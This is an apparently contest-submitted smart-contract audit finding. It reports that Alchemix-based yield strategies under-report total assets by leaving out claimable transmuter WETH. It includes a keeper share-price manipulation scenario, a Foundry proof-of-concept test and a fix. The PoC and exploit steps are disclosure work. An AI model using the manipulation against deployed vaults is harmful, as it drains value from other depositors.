DeFiFoundrySolidity
16,653 OP
View results
Submission Details
Severity: medium
Valid

Under-Reported Total Assets During Harvest and Report Operations

01. Relevant GitHub Links

02. Summary

The affected strategy contracts (including StrategyMainnet, StrategyArb, and StrategyOp) fail to include claimable balances when computing total assets during the _harvestAndReport function. As a result, the total asset calculation under-reports the strategy’s true value when a portion of its underlying synthetic tokens (alETH) has already been converted into claimable WETH via the transmuter. This discrepancy can lead to unintended consequences such as artificially reducing the perceived value of the strategy, enabling malicious keepers to exploit the situation, and causing users to receive fewer assets upon withdrawal.

03. Vulnerability Details

In the StrategyMainnet contract’s _harvestAndReport function, the total asset calculation only adds together the unexchanged balance, the local asset balance, and the underlying token balance. However, it omits the claimable balance that can be withdrawn from the transmuter. Because the claimable amount represents WETH that has already been effectively exchanged from alETH, ignoring it reduces the reported total assets.

function _harvestAndReport()
internal
override
returns (uint256 _totalAssets)
{
uint256 claimable = transmuter.getClaimableBalance(address(this));
if (claimable > 0) {
// transmuter.claim(claimable, address(this));
}
// NOTE : we can do this in harvest or can do seperately in tend
// if (underlying.balanceOf(address(this)) > 0) {
// _swapUnderlyingToAsset(underlying.balanceOf(address(this)));
// }
uint256 unexchanged = transmuter.getUnexchangedBalance(address(this));
// NOTE : possible some dormant WETH that isn't swapped yet (although we can restrict to only claim & swap in one tx)
uint256 underlyingBalance = underlying.balanceOf(address(this));
_totalAssets = unexchanged + asset.balanceOf(address(this)) + underlyingBalance;
}

When the strategy’s total assets are under-reported, the system may treat the discrepancy as a loss, triggering various loss-handling functionalities such as share burning or other protective measures. This situation can be abused by a malicious keeper who can:

  1. Convert a large portion of alETH into WETH (making them claimable).

  2. Call report() so that _harvestAndReport calculates a lower total asset value, artificially lowering share prices.

  3. Purchase shares cheaply due to the artificially deflated total asset value.

  4. Later, restore the actual asset value (e.g., by claiming and swapping the WETH back to alETH), thereby “draining” a significant portion of the strategy’s value at the expense of other shareholders.

Additionally, regular users could monitor situations where the report() function is called and exploit the vulnerability by reproducing the same scenario.

This vulnerability also exists in StrategyArb and StrategyOp contracts due to similar logic.

03. Impact

  • Financial Loss for Users: Users withdrawing after the assets have been under-reported will receive fewer tokens than they should.

  • Reputation Damage: Other participants may lose trust in the strategy, reducing overall liquidity as they become hesitant to deposit funds.

  • Keeper Exploit: A malicious keeper could profit by manipulating share values and performing arbitrage, effectively draining the strategy’s value.

04. Proof of Concept

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;
import "forge-std/console.sol";
import {Setup, ERC20, IStrategyInterface} from "./utils/Setup.sol";
import {IStrategyInterfaceVelo} from "../interfaces/IStrategyInterface.sol";
import {IStrategyInterfaceRamses} from "../interfaces/IStrategyInterface.sol";
import {IVeloRouter} from "../interfaces/IVelo.sol";
import {IRamsesRouter} from "../interfaces/IRamses.sol";
import {TokenizedStrategy} from "@tokenized-strategy/TokenizedStrategy.sol";
interface Strategy is IStrategyInterface {
function balanceDeployed() external returns (uint256);
}
contract PocTest is Setup {
function setUp() public virtual override {
super.setUp();
}
function test_poc_wrong_totalassets__harvestAndReport() public {
// deposit
uint256 deposit_amount = 10e18;
mintAndDepositIntoStrategy(strategy, user, deposit_amount);
console.log("Before Exchange Strategy(address(strategy)).balanceDeployed(): ", Strategy(address(strategy)).balanceDeployed());
console.log("Before Exchange Unexchanged Balance: ", transmuter.getUnexchangedBalance(address(strategy)));
console.log("Before Exchange Exchangable Balance: ", transmuter.getExchangedBalance(address(strategy)));
console.log("Before Exchage TotalAssets: ", TokenizedStrategy(address(strategy)).totalAssets());
assertEq(Strategy(address(strategy)).balanceDeployed(), deposit_amount);
// exchange
keeperExchange(deposit_amount);
// report
vm.prank(keeper);
strategy.report();
console.log("Before Exchange Strategy(address(strategy)).balanceDeployed(): ", Strategy(address(strategy)).balanceDeployed());
console.log("Before Exchange Unexchanged Balance: ", transmuter.getUnexchangedBalance(address(strategy)));
console.log("Before Exchange Exchangable Balance: ", transmuter.getExchangedBalance(address(strategy)));
console.log("Before Exchage TotalAssets: ", TokenizedStrategy(address(strategy)).totalAssets());
assertLe(TokenizedStrategy(address(strategy)).totalAssets(), deposit_amount);
// redeem
vm.prank(user);
strategy.redeem(deposit_amount, user, user);
console.log("asset.balanceOf(user)", asset.balanceOf(user));
assertLe(asset.balanceOf(user), deposit_amount);
}
function keeperExchange(uint256 _amount) public {
vm.roll(1);
deployMockYieldToken();
addMockYieldToken();
depositToAlchemist(_amount);
airdropToMockYield(_amount / 2);
vm.prank(whale);
asset.transfer(user2, _amount);
vm.prank(user2);
asset.approve(address(transmuter), _amount);
vm.prank(user2);
transmuter.deposit(_amount /2 , user2);
vm.roll(1);
harvestMockYield();
vm.prank(address(transmuterKeeper));
transmuterBuffer.exchange(address(underlying)); // @note : Keeper가 직접 exchange 하네
//Note : link to Transmuter tests https://github.com/alchemix-finance/v2-foundry/blob/reward-collector-fix/test/TransmuterV2.spec.ts
skip(7 days);
vm.roll(5);
vm.prank(user2);
transmuter.deposit(_amount /2 , user2);
vm.prank(address(transmuterKeeper));
transmuterBuffer.exchange(address(underlying));
}
}

05. Tools Used

Manual Code Review and Foundry

06. Recommended Mitigation

function _harvestAndReport()
internal
override
returns (uint256 _totalAssets)
{
uint256 claimable = transmuter.getClaimableBalance(address(this));
if (claimable > 0) {
// transmuter.claim(claimable, address(this));
}
// NOTE : we can do this in harvest or can do seperately in tend
// if (underlying.balanceOf(address(this)) > 0) {
// _swapUnderlyingToAsset(underlying.balanceOf(address(this)));
// }
uint256 unexchanged = transmuter.getUnexchangedBalance(address(this));
// NOTE : possible some dormant WETH that isn't swapped yet (although we can restrict to only claim & swap in one tx)
uint256 underlyingBalance = underlying.balanceOf(address(this));
_totalAssets = unexchanged + asset.balanceOf(address(this)) + underlyingBalance + claimable;
}
Updates

Appeal created

inallhonesty Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Incorrect accounting in `_harvestAndReport` claimable should be included

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.